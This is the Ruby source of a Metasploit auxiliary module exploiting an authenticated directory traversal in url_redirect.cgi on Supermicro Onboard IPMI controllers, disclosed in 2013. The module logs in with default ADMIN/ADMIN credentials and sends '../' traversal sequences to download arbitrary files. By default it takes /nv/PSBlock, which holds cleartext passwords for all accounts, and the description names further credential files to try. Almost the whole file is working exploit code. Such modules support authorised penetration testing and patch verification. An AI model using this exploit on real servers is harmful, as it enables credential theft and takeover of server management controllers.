## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report APP_NAME = "Supermicro web interface" def initialize(info = {}) super(update_info(info, 'Name' => 'Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal', 'Description' => %q{ This module abuses a directory traversal vulnerability in the url_redirect.cgi application accessible through the web interface of Supermicro Onboard IPMI controllers. The vulnerability is present due to a lack of sanitization of the url_name parameter. This allows an attacker with a valid, but not necessarily administrator-level account, to access the contents of any file on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and /wsman/simple_auth.passwd }, 'Author' => [ 'hdm', # Discovery and analysis 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/' ], [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], 'DisclosureDate' => '2013-11-06')) register_options( [ OptInt.new('DEPTH', [true, 'Traversal depth', 1]), # By default downloads from /tmp OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']), OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']), OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN']) ]) end def my_basename(filename) return ::File.basename(filename.gsub(/\\/, "/")) end def is_supermicro? res = send_request_cgi( { "uri" => "/", "method" => "GET" }) if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ return true else return false end end def login res = send_request_cgi({ "uri" => "/cgi/login.cgi", "method" => "POST", "vars_post" => { "name" => datastore["USERNAME"], "pwd" => datastore["PASSWORD"] } }) if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.get_cookies =~ /(SID=[a-z]+)/ return $1 else return nil end end def read_file(file, session) travs = "" travs << "../" * datastore['DEPTH'] travs << file print_status("Retrieving file contents...") res = send_request_cgi({ "uri" => "/cgi/url_redirect.cgi", "method" => "GET", "cookie" => session, "encode_params" => false, "vars_get" => { "url_type" => "file", "url_name" => travs } }) if res and res.code == 200 and res.headers["Content-type"].to_s =~ /text\/html/ and res.headers["Pragma"].nil? return res.body.to_s else return nil end end def run_host(ip) print_status("Checking if it's a #{APP_NAME}....") if is_supermicro? print_good("Check successful") else print_error("#{APP_NAME} not found") return end print_status("Login into the #{APP_NAME}...") session = login if session.nil? print_error("Failed to login, check credentials.") return else print_good("Login Successful, session: #{session}") end contents = read_file(datastore['FILEPATH'], session) if contents.nil? print_error("File not downloaded") return end file_name = my_basename(datastore['FILEPATH']) path = store_loot( 'supermicro.ipmi.traversal.psblock', 'application/octet-stream', rhost, contents, file_name ) print_good("File saved in: #{path}") end end